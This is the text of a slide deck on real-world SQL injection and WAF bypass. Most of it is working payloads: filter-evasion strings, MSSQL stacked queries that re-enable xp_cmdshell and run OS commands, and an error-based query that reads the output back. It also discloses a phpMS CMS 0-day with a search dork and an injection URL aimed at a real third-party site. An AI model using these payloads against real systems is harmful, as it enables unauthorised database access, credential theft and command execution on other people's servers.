Upload
francis-alexander
View
72
Download
1
Embed Size (px)
Citation preview
WHO AM I?
• Got Listed at ebay and Microsoft security Researchers List
• Worked as free lance security researcher for tech2.in.com and in.com
• Found SQLi vulnerabilities at kerala enterance portal website
• http://tech2.in.com/news/general/updated-serious-vulnerability-affects-kerala-common-entrance-exams-portal/369982
• Basically the InfoSec Researcher Guy
AGENDA
Strictly waf based and Real Life Based Scenarious
MsSql Stack Based Queries(thought it as a good addon)
A PHP-MS 0-DAY
SQLI AN INTROFirst among the OWASP TOP 10 vulnerabilitiesUsed for gaining access to sql database and hence the b0x
Mainly of 5 types Union based Error based X-path based Blind and Time based Double Query based
PENTESTING SQLI IN REAL WORLDSo whats the catch here!!!Pentesting real life scenarious is much difficult than ever
Sqli has been patched and firewalls, IDS and IPS installed everywhere
Exploiting Sqli has been difficult and tools has disappointed to !
WHAT HAS KEPT US DULL Ofcourse Failure of Sqlmap !!!Failure of Havij which by the way is always a failure :p
IDS , IPS and other firewall familyApache security modules mod_sec,htmlentities,mysql_escape,magic_quotes and all my dear appsec modules
ADVANCED WAF BYPASSING TECHNIQUESWhat are they !!?Well we need to overcome the situation that has come rather than site and lament over it
Here will focusing on the real life scenarious where the tools fail and much of our human hard work comes in
BYPASSING FILTERSPreg_match is a comparer statement used in phpMainly deployed by small scale waf’sPoorly coded ones the easier an example
SQLI USING STORED PARAMETERSUsed when “select” + any case letters are blocked 'select'+'(A-Za-z)‘So any letter after select gets filtered outSolutionMysql has an option called stored variable procedure“@” is a sign that can be used as a prefix, that denotes stored procedure, function parameter names, and variables names.
So how do we do it?Union select 1,2,3 - - = 403 ForbiddenSo It changes to and (@:=version()) union select 1,@,3- - = bypassed
WHERE HAS THE ID=? DISAPPEARED So whats the Catch here Most of us love the dork inurl:php?id= site:blah.com So what has happened most admins have changed the id= parameters to within the url and making the tools go wreckless and n00bs go mad
An example would be the usuall way was site.com/index.php?id= ,now they have gone on and changed to site.com/index-goods-12.html
An example site that has no point of injection at the first sight
Ex: http://www.cal***.com/Preservatif-Callvin-Preservatif-Je-suis-prete,884.html
A FEW POINTS TO PONDERUsual commenting style should be followed here ie the “- -” other wise other forms like %23(#) and /* could cause the browser to misinterpret the statement as a comment hence commenting out the rest and not letting it read the .html part
In most cases encountered these type of injections, there are white spaces which often cause a havoc and nightmare for scanners
MESSING UP WITH WHITE SPACES Well dealing with white spaces depends on different scenarios
U could use the traditional commenting style like id=3/**/union/**/select 1,2,3 or Well the problem is /**/ might be filtered in some cases So we use the ()which is the same as executing the query id=(2)union(select(1),2,3) NB:During html based injections it is better to use the paranthesis
SQLI IN HTML TAGS Based on Error 1222 Came across CTF’s where the answer had to be in normal union based .
Most tools fails here since the vulnerable column is being parsed in between the html tags.
Usually union statements are being provided here but the columns do not get displayed.
So what do we do ? Plse don’t say we look over the source because ur not gonna find anything at the first shot
We do this by changing the traditional union select 1,2,3 to union select 1111,2222,3333
This helps us to search in the source but still nt available on screen.
If u could like to display it on screen u could useconcat or group_concat functions and using html inside them
Use hex of html if the quotes are blocked due to magic quotes
Here we could see the version on closing the “</title>” tag since the vulnerable column was being displayed within the title block
BYPASSING SOME COMMON ERRORS
Bypassing errors 400/403/404/406 //convert(group_concat(schema_name) using ascii) from information_schema.schemata - -
C-style Commenting : /*!Union*/+/*!Select*///apart from the original source commenting the ! Executes the command
Character Encoding :Bypasses filters like 400 %55nion/**/%53elect
Sub queries : Union (select 1,2,3) //Where most WAF’s fail out
id=-1+#1q%0Aunion all#qa%0A#%0Aselect 1,2,3%0A#a // # is comment but the %0A bypasses with the new line so the
statements gets executed
Bypassing Error 1064 Usually related with blocking of white spaces id=(0)union(select(0),version(),(0),(0),(0),(0),(0),(0),(0))
// the queries are supplied in parenthesis so as to forbid the use of white spaces “/**/ “Commenting also possible
Bypassing Error 500 and (select 1)=(Select 0xAA)+UnIoN+SeLeCt+x,x--+// WAFs that written in the C language prone to overflow or act differently when loaded with a bunch of data.Give a large amount of data allows our code executing
INTRO TO MSSQL STACKED QUERIESStacked queries mainly available in mssql and postgresql servers
Underlying process is simple if chmdshell options are enable then u are in
Stacked Queries Support is Checked on Server using 'WAITFOR DELAY hour:min:sec’
For ex:EXEC MASTER..xp_cmdshell 'PING 127.0.0.1 -n 6'-- - would check whether cmdshell is enabled or nt depending upon time lag.
RE-ENABLING XP.CMDSHELL IN CASE ITS DEAD? http://www.site.com/security.asp?vulnID=123; EXEC sp_configure 'show
advanced options', 1-- -
http://www.site.com/security.asp?vulnID=123; RECONFIGURE-- -
http://www.site.com/security.asp?vulnID=123; EXEC sp_configure 'xp_cmdshell', 1-- -
http://www.site.com/security.asp?vulnID=123; RECONFIGURE-- -
QUERY PARTYhttp://www.site.com/security.asp?vulnID=123;; CREATE TABLE funkyfresh (data varchar(8000));--
// Creates the table funkyfresh http://www.site.com/security.asp?vulnID=123;; DECLARE @funky varchar(4000); SET @funky=0x77686f616d69; INSERT INTO funkyfresh EXEC MASTER..xp_cmdshell @funky;-- -
// WE declare a variable @funky and store it with hex equi. Of the codeNOTE: 0x77686f616d69 => 'whoami‘
/!*AND*/ 5151=CONVERT(INT,(CHAR(91)+CHAR(83)+CHAR(81)+CHAR(76)+CHAR(105)+CHAR(93)+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(data AS NVARCHAR(4000)),CHAR(32))),1,100) FROM funkyfresh WHERE ISNULL(data,CHAR(32)) NOT IN (SELECT TOP 1 ISNULL(CAST(data AS NVARCHAR(4000)),CHAR(32)) FROM funkyfresh ORDER BY data) ORDER BY data)+CHAR(91)+CHAR(83)+CHAR(81)+CHAR(76)+CHAR(105)+CHAR(93)))
// Creadits to Bernardo's original write-up from BlackHat
//The reason I took it although a bit complicated works for no reason
seamlessly Read the temp table to get the results and you need to make sure you deal with same data type when you do...
PHP-MS EXPLOIT 0-DAY 0-day by me phpMS - a free CMS (content management system), Designed for rapid development and support of web-projects of any complexity.
Features CMS phpMS: Easy to install; Multi-level menus; Arbitrary arrangement of blocks; Simple module development; Access rights
#GOOGLE DORK: INTEXT:COPYRIGHT©2005 PHPMSDemo http://http://www.rusug.ru/index.php?tree=8&mode=view&id=-7+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6--
#By default 6 columns in most cases seen so could use this as default in sites discovered
#Finding the admin page of this makes it very easy to exploit # Default admin page is admin.php :-)Eg : http://www.site.com/admin.php :)